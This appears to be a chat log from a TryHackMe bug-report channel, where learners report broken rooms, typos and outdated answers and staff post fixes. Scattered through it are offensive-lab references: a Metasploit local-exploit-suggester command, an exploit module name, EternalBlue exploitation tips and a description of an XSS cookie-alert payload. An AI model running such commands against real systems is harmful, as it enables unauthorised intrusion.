    3: from /usr/local/bin/msfupdate:313:in `<main>'
    2: from /usr/local/bin/msfupdate:134:in `run!'
    1: from /usr/local/bin/msfupdate:134:in `chdir'
/usr/local/bin/msfupdate:143:in `block in run!': Cannot determine checkout type: `/opt/metasploit-framework-5101' (RuntimeError)
root@ip-10-10-24-92:~# apt search metasploit
Sorting... Done
Full Text Search... Done
recon-ng/bionic,bionic 4.9.2-1 all
  Web Reconnaissance framework written in Python

root@ip-10-10-24-92:~# 

[eternal summit]

Unfortunately no, because of throwback or something.
I asked because my room needs updated msf too

[ivory mortar]

Hi There,

I have been doing the learning paths. In the Web Fundamentals Learning Path there is a room called LFI which is in a broken state.
Tried first for hours, then looked at write-ups.

It is not possible currently to break-out of the displayed error message: No such file /opt/web/<filename>
Cant break out of it with null-byte / adding commands ( this isn't even mentioned in the write-ups )
So I wanted to share this information ...

[obtuse musk]

Hey 🙂
Is it this room? Worked for me...
https://tryhackme.com/room/lfi

[ivory mortar]

Yes, it is this room.
Strange that it isn't working for me.
Using a fresh Kali VM with no add-ons aside from VIM so it shouldn't interfere.

But thank you for checking

[timber pond]

https://tryhackme.com/room/searchlightosint

task 8 typo

[misty cave]

Task 6 in https://tryhackme.com/room/nmap03 talks about lines numbers, but there are no numbers on the wireshark screenshots, so it is a little unclear as to which line is which. These could possibly be edited in on the left of the image to make it clearer, and easier to tell what the description is talking about

[zenith mortar]

Has Rudolph been pwned? What password of his appeared in a breach?

room: https://tryhackme.com/room/adventofcyber2
Task 19 [Day 14] Special by TheCyberMentor Where's Rudolph?
question:
Has Rudolph been pwned? What password of his appeared in a breach?
hint: https://scylla.sh/ website wont work for me either on my VM or my local machine

[misty cave]

it's https://scylla.so 🙂

[wild furnace]

This is a Windows Based room IP Expiration Time claims to be 2 hrs but IP's Expire long before said time frame and it is reflected no where on site and no warning is given to increase time https://tryhackme.com/room/relevant

[obsidian kiln]

That's a licensing issue. That room is unlikely to get fixed as the content creator is no longer here

[wild furnace]

okay sounds good

[zenith mortar]

hi in AOC 2020, day 17 [reverse engineering]

• there is no explanation whats eax edx etc but it is always keep refering to it

in detailed walkthrough the program for add (file1)
i got completly different dissasembled program (instead of movl $4 , ... i got mov dword [local_ch],4 )

in middle of the room walk say to execute dr again (but didnt mention ds to forward for next step i had to do, also using r2 program)

[eternal summit]

That middle section is intel syntax vs at&t syntax

[zenith mortar]

can i specify which mode i can use to dissasembly or it is proccesor based?

[eternal summit]

It's all x86.
It's just different ways of writing it

You should be able to set it

[zenith mortar]

aoc 2020 day 20
last question:

hint -> answer for previous question

[dull spear]

Room: Disk Analysis & Autopsy
Task: A user has his full name printed on his desktop wallpaper. What is the user's full name?
Issue: Images aren't loading. Extracting the files and opening them doesn't display.

I've seen other similar and different issues with this room posted here. None of them seemed to get their issues answered. Have the authors abandoned the room?

[eternal summit]

This channel is for reporting bugs. Try #room-help

[wheat fractal]

Oh sorry friend

[gleaming shadow]

@dusky junco The RCE in the OWASP Top 10 room, Task 26 ([Severity 8] Insecure Deserialization - Code Execution) seems to not execute the RCE as described

strike my last I'm an idiot and cannot read

[wheat fractal]

Room : Splunk 101 ( https://tryhackme.com/room/splunk101 )
Task Number 9 ( Conclusion )

Issue : At the end we are invited to do BOTSV1 & BOTSV2 rooms but V2 has been made private, I don't know if it's intended and/or has been forgotten since

BOTSv2 : https://tryhackme.com/room/splunk2

[cold haven]

Room : https://tryhackme.com/room/extendingyournetwork
"For example, these firewalls are only as effective as the rules"

[gritty whale]

In the JR Pentester Path, room with File Inclusion, Task 4:

[ebon otter]

the room is a couple years old so this is expected, but the second question in task 3 of the "kenobi" have changed since it was written

When it was written, the number of exploits for proftpd version || 1.3.5|| was || 4 || but when checking the searchexploit, it only list || 3 ||

[hazy tiger]

Istg this room changes all the time

[midnight junco]

https://tryhackme.com/room/linprivesc, task 9, missing a "do" 'we do not want to'

[versed yoke]

Room: WebOSINT
Task: 2
Issue: Outdated answer to the question "What country is listed for the registrant?"
Description: The answer to the abovementioned question is outdated; the registrant's country is Iceland (see https://who.is/whois/republicofkoffee.com) but this answer is not accepted. I cross-checked it with old write-ups and they seem to suggest that the answer used to be Panama; guess the correct answer for this question hasn't been updated.

[past cedar]

As a complete django noob I had big struggle in https://tryhackme.com/room/django [Task 3]/step 2 and 3. The python3 manage.py migrate command always ended in a error. I found the reason and i suggest to add the following lines to step 3 to avoid further struggle for the next django noob:

---

To create a URLconf in the {app_name} directory, create a file called urls.py. Your app directory should now look like:

{app_name}/ __init__.py admin.py apps.py migrations/ __init__.py models.py tests.py urls.py views.py

In the {app_name}/urls.py file include the following code:

`from django.urls import path

from . import views

urlpatterns = [
path('', views.index, name='index'),
]`

---

without this step it doesn't work. Found it through the official django doc. my setup: kali vm , python 3.9.7, django 2.2.12 (as recommended in the room). I also used a virtualenv but it should work without it.

[dusky oriole]

Can confirm. I had the same issue and used the official Django documentation to create their intro polls app.
See: https://docs.djangoproject.com/en/3.2/intro/tutorial01/#creating-the-polls-app

[lethal badge]

Hi

[cold haven]

https://tryhackme.com/room/extendingyournetwork -> VPN Basics -> Offers anonyminity

[versed yoke]

Room: WebOSINT
Task: 7
Issue: Outdated answer to the question in this task
Description: The answer to the abovementioned question is outdated; the expected answer is "Liquid Web, L.L.C." but it's not possible to figure out the answer using the suggested resource (i.e. viewdns.info) because it now only displays the name as "Liquid Web"; in that sense the expected answer appears to be outdated.

[misty cave]

in https://tryhackme.com/room/opsec in task 7, there is an n missing in countermeasures

[dark hearth]

Very small typo in https://tryhackme.com/room/principlesofsecurity

STRIDE (Spoofing, identity ...
there should be no comma after "Spoofing"

[upper kite]

Hi guys, I'm in the Blue room of Complete Beginner. I have had this error for hours, I have not managed to run the exploit correctly. I checked all the settings to make sure they were correct. I rebooted the machine several times and the problem persists, could anyone tell me if the same thing happened to you. I read in forums about the room and many people also had the same thing happen, but I did not find a concrete solution. Thanks in advance

[obsidian kiln]

Eternal Blue is not a stable vulnerability, and the Metasploit implementation is... lacking.
It's not a bug with the room so much as the exploit being flaky.
Try doing it manually with something like AutoBlue rather than using Metasploit. Also make sure that your exploit/payload settings are correct 🙂

[upper kite]

Ok, I'll try

[dusky oriole]

in /room/django
can you add a line on how to run the server on another port? It defaults to 8000, which on the attackbox is the port that cyberchef runs on. i enountered this issue and others have asked about it in help rooms
thanks.

python manage.py runserver 7000

[snow rain]

Windows Fundamentals 1/Task 7/6th paragraph

Unclear syntax/Typo

The task asks you to right click a program but never tells you which (Wireshark).

"Let's look at the program on the account you're currently logged into, the built-in administrator account—Right-click to view its Properties."

[eager steeple]

NMAP room/Task 14 Practical

The first question asks if the (MACHINE_IP) responds to ICMP ping but does not list an actual IP

[obsidian dirge]

Network Services 2/Task 6

Section on enumerating SMTP server says that wordlist location is at /usr/share/wordlists/Seclists/Usernames/, should be /usr/share/seclists/Usernames/

[obsidian kiln]

You don't have the machine deployed

[dusky junco]

Good morning, I have noticed this sort of thing be reported more frequently recently (the fact that CyberChef is running on port 8000, where things like python servers attempt to bind to this by default)

I am making some changes to the AttackBox and one of those changes includes moving CyberChef to another port, so that it frees up port 8000.

[dense garnet]

Im on Break Out The Cage and it's starting a different machine, idk what machine it is but weird ports and doesn't seem like Break Out The Cage at all
Edit: I had a conflicting ip address somehow on my VM haha

[dusky junco]

Following this, this change is now live (: . cc @dusky oriole

so you can just run python3 -m http.server and it will bind to port 8000 without anything else

[reef merlin]

I don't know if the issue reoccurred or if it hasn't been fixed in the first place, but port 3000 on host 10.10.169.100 is still being filtered and doesn't respond to HTTP requests. So Task 14 from https://tryhackme.com/room/25daysofchristmas is impossible to solve at the moment

[winged hearth]

Hi, i got a question about the Room Network Services. For Enumerating FTP, i use an Nmap and it return only the ftp service at port 21. But the answer exepected is about 2 ports open. Is it normal ?

[winged hearth]

seem to be already answered there : #general message

thanks anyway

[zenith mortar]

idk if its bug or that because i use msf 6

but

i am doing ICE room, and stack on task 4
question for exploit suggester
architecture for target ix 64 but service (icecast) is running on x86 and after running
run post/multi/recon/local_exploit_suggester
i only got this one output :/
exploit/windows/local/ms10_092_schelevator
im also using msf6, may be this be a problem why i dont get correct output as expected in question?
i could complete this with a hint where i instead of running post exploit runned search in msf 😦

[lilac field]

morning, is there someone I can message about the "Corp" room? I solved it, but I want to check if some specific things are intended or bugged

[wheat fractal]

The machine shows me a white page only in this room : https://tryhackme.com/room/investigatingwindows3

[lyric walrus]

hello

[wheat fractal]

hey

[lyric walrus]

room Dunkle Materie* seems to be unreachable on my end

it connects but the page i blank and refreshing isn't working

seems like a bug

[wheat fractal]

as mine it shows just a white page i can't complete the tasks

[lyric walrus]

same

that is for sure a bug a i was able to do your rroom a few day ago

[wheat fractal]

i hope they fix it

I'm competing on my first monthly hacker badge

[dense garnet]

I think I got Ben's IP address from 3 years ago 💀

both openvpn and regular

sorry for @

[dusky junco]

how'd you mean?

[dense garnet]

can I say it here?

its just in a rooms' .bash_history

its an scp command with ben@<ip>

[dusky junco]

You can DM me (:

[tired thorn]

hi

the flags in the "All in one" room doesn't work

it tells me that the flags are incorrect

and I found it in the user.txt and the root.txt

[wheat fractal]

Hints should be named crest 4 and not crest 2. (Room: Bio Hazard).

[tired thorn]

is this for me?

[wheat fractal]

Nope, it's just another bug

[tired thorn]

oh ok

[vagrant sedge]

that flag seems encoded, not wrong

try to decode it

[tired thorn]

oook

my bad

sorry

I feel kinda stupid

how could I not seeing it

they begin with the same characters 🥲

[vagrant sedge]

its fine dont feel stupid we all do mistakes, did u get it now?

[tired thorn]

yeah thanks

[wheat fractal]

I cant seem to get the browser machine to load in the Yara Room, or connect via ssh. using search I see Ben mentioned he was going to give it a look. Just wanted to leave a comment since I was here. Thank you all for your time supporting these rooms.

[dusky junco]

Hey Poppy, yes apologies about that. I had planned to give this a look but I had a headache and slept. So, I'm looking back at this (:

[dense garnet]

Ben you’re too nice😩😩

[dusky junco]

I do try, but that means a lot to hear -- so thank you (:

[livid escarp]

Gave +1 Rep to @dense garnet

[dense garnet]

And that’s how you get rep

Jk

[dusky junco]

😄

[brazen gulch]

In https://tryhackme.com/room/opsec Task 4, Question 3 Hint
there is a fun typo about the risk of the adversary discovering what skillet each member uses:

[dusky junco]

Resolved ((: they obviously had either the band or the cooking utensil on the mind at the time 😄

[tepid girder]

Running through the "Encryption - Crypto 101"-room, and one of the questions is regarding the issuer of THM's certificate. The answer doesn't correspond to my result.

Am I just doing it wrong, or have things changed since the question was made? 😅

[sharp grotto]

Some problem here, hopefully they fix this.

[oak mulch]

Possible issue in the XSS room in the Web Fundamentals catalogue under DOM-Based XSS and the XSS Playground, Task 5. I've inputted the required injection and the response to it to trigger a flag seems a little fickle. I'm using Attack Box as per usual.

Seems when inputting the exploit in a blank state, it won't trigger a flag for me either due to delay in registering it or not liking how the exploit is formatted? Not quite sure, but it seems to have a bit of a problem with how it's inputted. Seems to also be fickle concerning the color change portion of it too.

Also ignores if you put an actual image link in there to mouse-over with it. No flag triggered for it even though the contents of the cookie request is displayed in the alert.

It does eventually trigger a flag however if you screw with it a little bit without an actual picture link, but it's a bit of a fight to recognize.

[oak mulch]

Filter Evasion's also a bit rough. I've found ways to bypass the filters and trigger a "Hello" alert, but the application I guess doesn't recognize that input so it won't give me a flag. 😦

[dusky junco]

Hey, this has now been resolved. Thanks for reporting -- apologies for the inconvenience

[livid escarp]

Gave +1 Rep to @wind wraith

[dusky junco]

Hey, could you provide some further detail please? I'm looking into this room and solving issues here and there as we speak

[dusky junco]

Hey, I think I've identified the issue for this. I'll look into a resolution for this. I think the whole VM needs to be rebuilt

[eternal summit]

RIP

[steady bloom]

:o, thanks for investigation

[livid escarp]

Gave +1 Rep to @dusky junco

[lone wind]

I will check back on what I was doing soon as I don’t exactly remember

But I just remember that I couldn’t install the tool on kali

It wouldn’t install

[dusky junco]

Ah yeah

that is why the VM in the room has been provided for you

it's not in kali/any linux apt repos

also, the VM in the room contains the files that you need to generate rules for, etc

[lone wind]

Alright! Ty

[dusky junco]

[lone wind]

But also the attack box I think was broken too

not sure

[dusky junco]

yes it'll be the same for the attackbox

you need to use the VM attaced in the room specifically

(in browser access is setup and ocnfigured for it in the room)

[dusky junco]

Hey! Thanks for reporting. I've resolved this now

[livid escarp]

Gave +1 Rep to @dark hearth

[midnight junco]

https://tryhackme.com/room/uploadvulns Task 1, someone actually set the variable instead of leaving the text intact. So this is what you see if the machine isn't started:

but this is what you see if the machine is started, but now it looks like if it has the IP address it won't work:

[twin tapir]

What? That’s intended. Why won’t that work?

[midnight junco]

Look at the highlighted text. Do you agree that since it says "10.10.63.200" (instead of Machine IP), the sentence indicates it will not work

but that is actually when it WILL work, because the IP address has been populated

but if you load the machine before reading the instructions, it's very confusing

[obsidian kiln]

Try now. I think I fixed (i.e. broke) it

[midnight junco]

Perfect, now the next person won't terminate and restart a perfectly good instance because they didn't think things through 😉

[obsidian kiln]

Yeah, wouldn't want that 🙂

[snow rain]

room/betworkservices task 3&4

Images used in these tasks aren't available to be viewed in Canada. Policy of flaticon.com I believe.

[stable plover]

hi. someone knows why in root linux fundamentals part 1, in the machine deployed the user is root and not tryhackme?

[obsidian kiln]

You deployed the AttackBox -- not the target

[stable plover]

thanks

[livid escarp]

Gave +1 Rep to @obsidian kiln

[simple merlin]

https://www.tryhackme.com/room/meterpreter
Hi, this room refers to 2 intro rooms, but the links appears dead.

[pearl ridge]

Room; Network Services, Task; 9 : Ports 21 and 80 on the target machines should be open but in one instance both were closed, in other three different VM, the 80 is always closed, 21 is open.

[dusky junco]

Hey, good morning. I've now resolved this. Please refresh the room and you will see the updated links (: thanks for reporting.